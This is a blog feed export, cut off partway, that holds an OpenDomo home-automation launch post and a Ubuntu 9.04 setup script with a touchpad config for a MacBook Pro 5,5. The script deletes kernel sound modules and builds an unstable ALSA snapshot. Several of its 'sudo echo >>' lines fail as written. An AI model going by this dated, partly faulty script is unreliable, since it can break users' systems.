<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-29362263</id><updated>2011-11-28T01:04:52.578+01:00</updated><category term='linux'/><category term='vnc hacked'/><category term='opendomo'/><category term='tripwire'/><category term='mysql'/><category term='python'/><category term='backdoor'/><category term='desarrollo web'/><category term='anillo'/><category term='deteccion intrusos'/><category term='pública'/><category term='optimizar mysql'/><category term='clave'/><category term='confianza'/><category term='vulnerabilidad vnc'/><category term='ssh'/><category term='domótica'/><category term='gnu'/><category term='ftp'/><category term='netcat'/><title type='text'>desarrollo, sistemas y seguridad</title><subtitle type='html'>Blog dedicado a la programación, seguridad y sistemas informáticos en general y todo lo referente al Open Source y GNU/Linux en particular.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>23</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-29362263.post-6245789094499031053</id><published>2010-12-28T00:29:00.003+01:00</published><updated>2010-12-28T00:35:37.231+01:00</updated><title type='text'>Lanzamiento de OpenDomo Services</title><content type='html'>&lt;span id="result_box" class="long_text" lang="es"&gt;&lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;Opendomo&lt;/span&gt; Services&lt;/span&gt;&lt;span id="result_box" class="long_text" lang="es"&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;fue&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;fundada&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;con la&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;intención&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;de&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;eliminar&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;las&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;causas&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;que&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;impiden&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;la&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;propagación&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;de la&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;automatización de viviendas e industrial&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas"&gt;, con el fin de obtener un&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;precio&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;justo&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;para todos los bolsillos&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;de u&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;na forma&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;totalmente&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;abierta&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas"&gt;, flexible&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;y&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;personalizable&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas"&gt;.&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;Para&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;lograrlo, los productos&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;OpenDomo&lt;/span&gt; &lt;/span&gt;&lt;span id="result_box" class="long_text" lang="es"&gt;Services&lt;/span&gt;&lt;span id="result_box" class="long_text" lang="es"&gt;&lt;/span&gt;&lt;span id="result_box" class="long_text" lang="es"&gt;&lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt; se&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;basan&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;en la tecnología&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;abierta&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas"&gt;,&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;el&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;resultado de&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;la colaboración&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;con la&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;comunidad&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;OpenDomo.org&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas"&gt;,&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;lo que favorece&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;su compatibilidad con&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;muchos de los dispositivos&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;en&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;el&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;mercado&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;y la&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;mejora&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;continuidad de sus productos&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;La&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;tecnología&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;basada en&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;la automatización&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;de productos&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;OpenDomo&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;es una&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;manera fácil&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;de poder&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;interactuar&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;con la&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;casa,&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;conseguir&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;comodidad, seguridad y&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;eficiencia a través de&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;cualquier dispositivo con&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;un&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;navegador&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;web o&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;incluso&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;a través de&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;la&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;televisión&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas"&gt;.&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;También es&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;el único&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;que&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;nació&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;con&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;la&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;vocación de&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;llegar a todo el mundo&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas"&gt;, convirtiendo&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;su&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;casa en un&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;hogar inteligente capaz de&lt;/span&gt;&lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;aprender&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;de sus&lt;/span&gt; &lt;span title="Haz clic para obtener traducciones alternativas" class="hps"&gt;costumbres&lt;/span&gt;&lt;span class="" title="Haz clic para obtener traducciones alternativas"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;p style="text-align: justify;"&gt;Más información en &lt;a href="http://www.opendomo.com"&gt;OpenDomo.com&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:small;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-6245789094499031053?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/6245789094499031053/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=6245789094499031053' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/6245789094499031053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/6245789094499031053'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2010/12/lanzamiento-de-opendomo-services.html' title='Lanzamiento de OpenDomo Services'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-5833644044552968162</id><published>2009-09-06T19:43:00.009+02:00</published><updated>2009-09-06T20:25:13.850+02:00</updated><title type='text'>Ubuntu 9.04 (Jaunty) en Macbook Pro 5,5</title><content type='html'>Tras la reciente compra de mi último portátil, un Macbook Pro 5,5, he podido comprobar que Ubuntu 9.04 (Jaunty) no se acopla a la perfección, como si bien hace con muchos otros, con este sistema en particular. Tras varias reinstalaciones, me he hecho un script que recopila todos los pasos necesarios que he ido recogiendo en foros para resolver todos los problemas e incompatibilidades de una sola tajada.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Estos problemas detectados en mi Macbook Pro (5,5) son:&lt;br /&gt;&lt;br /&gt;- Activar sonido&lt;br /&gt;- Configurar Tarjeta gráfica&lt;br /&gt;- Activar backlight del teclado&lt;br /&gt;- Remapeo de las teclas de función&lt;br /&gt;- Configuración del touchpad&lt;br /&gt;- Activar el led del bloqueo de mayúsculas&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Este es el script, no olvidarse de copiar el fichero el contenido del fichero &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;11-x11-synaptics.fdi &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;(que se encuentra más abajo) al mismo nivel que este script:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;# WARNING: Use at your own risk, only tested on a Macbook pro 5,5 with&lt;br /&gt;# Ubuntu 9.04 (Jaunty)&lt;br /&gt;&lt;br /&gt;# Mactel sources&lt;br /&gt;echo "deb http://ppa.launchpad.net/mactel-support/ubuntu jaunty main&lt;br /&gt;deb-src http://ppa.launchpad.net/mactel-support/ubuntu jaunty main" &gt; mactel&lt;br /&gt;sudo mv mactel /etc/apt/sources.list.d/mactel.list&lt;br /&gt;sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 7A6BC20C4FE04DADD10837608DB7F87A2B97B7B8&lt;br /&gt;# Update &amp;amp; upgrade&lt;br /&gt;sudo apt-get update&lt;br /&gt;sudo apt-get upgrade&lt;br /&gt;&lt;br /&gt;# Download needed packages&lt;br /&gt;sudo apt-get -y install mbp-nvidia-bl-dkms applesmc-dkms hal-applesmc bcm5974-dkms pommed nvidia-bl-dkms sensors-applet nvidia-180-kernel-source nvidia-glx-180&lt;br /&gt;&lt;br /&gt;# Load needed modules&lt;br /&gt;sudo echo "&lt;br /&gt;coretemp&lt;br /&gt;applesmc&lt;br /&gt;bcm5974&lt;br /&gt;usbhid&lt;br /&gt;nvidia_bl shift=2&lt;br /&gt;" &gt;&gt; /etc/modules&lt;br /&gt;&lt;br /&gt;sudo echo "blacklist usbhid" &gt;&gt; /etc/modprobe.d/blacklist.conf&lt;br /&gt;&lt;br /&gt;# Backlight&lt;br /&gt;sudo echo "options hid_apple fnmode=2" &gt; /etc/modprobe.d/hid_apple.conf&lt;br /&gt;&lt;br /&gt;# Key remaping&lt;br /&gt;sudo echo -n "options hid pb_fnmode=2" &gt; /etc/modprobe.d/function.conf&lt;br /&gt;&lt;br /&gt;sudo update-initramfs -u&lt;br /&gt;&lt;br /&gt;# Sound (mind to unmute the Front Speaker channel!)&lt;br /&gt;sudo rm -rf /lib/modules/`uname -r`/kernel/sound&lt;br /&gt;sudo aptitude reinstall linux-headers-`uname -r` linux-image-`uname -r` linux-restricted-modules-`uname -r`&lt;br /&gt;wget ftp://ftp.kernel.org/pub/linux/kernel/people/tiwai/snapshot/alsa-driver-unstable-snapshot.tar.gz&lt;br /&gt;tar xf alsa-driver-unstable-snapshot.tar.gz&lt;br /&gt;cd alsa-driver-unstable&lt;br /&gt;sudo ./configure --enable-dynamic-minors  --without-oss --with-cards="hda-intel"&lt;br /&gt;sudo make&lt;br /&gt;sudo make install&lt;br /&gt;&lt;br /&gt;# Touchpad (copy the &lt;/span&gt;&lt;span style="font-style: italic;"&gt;11-x11-synaptics.fdi file at the same level)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sudo cp ./11-x11-synaptics.fdi /etc/hal/fdi/policy/&lt;br /&gt;&lt;br /&gt;# To enable Caps Lock led&lt;br /&gt;sudo aptitude remove mouseemu&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Contenido de 11-x11-synaptics.fdi&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-family: Georgia,serif;"&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="ISO-8859-1"?&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;deviceinfo version="0.2"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;lt;device&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;match key="info.capabilities" contains="input.touchpad"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;match key="info.product" contains="Synaptics TouchPad"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_driver" type="string"&amp;gt;synaptics&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;!-- Arbitrary options can be passed to the driver using &lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; the input.x11_options property since xorg-server-1.5. --&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;!-- EXAMPLE:&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.LeftEdge" type="string"&amp;gt;120&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;--&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;/match&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;match key="info.product" contains="AlpsPS/2 ALPS"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_driver" type="string"&amp;gt;synaptics&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;/match&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;match key="info.product" contains="appletouch"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_driver" type="string"&amp;gt;synaptics&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;/match&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;match key="info.product" contains="bcm5974"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_driver" type="string"&amp;gt;synaptics&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.LeftEdge" type="string"&amp;gt;0&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.RightEdge" type="string"&amp;gt;1280&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.TopEdge" type="string"&amp;gt;0&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.BottomEdge" type="string"&amp;gt;800&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.ClickFinger1" type="string"&amp;gt;1&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.ClickFinger2" type="string"&amp;gt;3&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.ClickFinger3" type="string"&amp;gt;2&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.HorizEdgeScroll" type="string"&amp;gt;0&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.VertEdgeScroll" type="string"&amp;gt;0&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.VertTwoFingerScroll" type="string"&amp;gt;1&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.HorizTwoFingerScroll" type="string"&amp;gt;1&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.HorizScrollDelta" type="string"&amp;gt;0&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.VertScrollDelta" type="string"&amp;gt;40&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.PressureMotionMinZ" type="string"&amp;gt;10&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.FingerLow" type="string"&amp;gt;16&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.FingerHigh" type="string"&amp;gt;80&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.FingerPress" type="string"&amp;gt;256&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.PalmDetect" type="string"&amp;gt;1&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.PalmMinWidth" type="string"&amp;gt;10&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.PalmMinZ" type="string"&amp;gt;200&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.MinSpeed" type="string"&amp;gt;0.8&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.MaxSpeed" type="string"&amp;gt;1.2&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.AccelFactor" type="string"&amp;gt;0.10&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.MaxTapMove" type="string"&amp;gt;25&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.MaxTapTime" type="string"&amp;gt;223&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.MaxDoubleTapTime" type="string"&amp;gt;200&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.TapButton1" type="string"&amp;gt;1&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.TapButton2" type="string"&amp;gt;3&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.TapButton3" type="string"&amp;gt;2&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.RTCornerButton" type="string"&amp;gt;0&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.RBCornerButton" type="string"&amp;gt;0&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.LTCornerButton" type="string"&amp;gt;0&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;merge key="input.x11_options.LBCornerButton" type="string"&amp;gt;0&amp;lt;/merge&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;/match&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;lt;/match&amp;gt;&lt;br /&gt;&lt;br 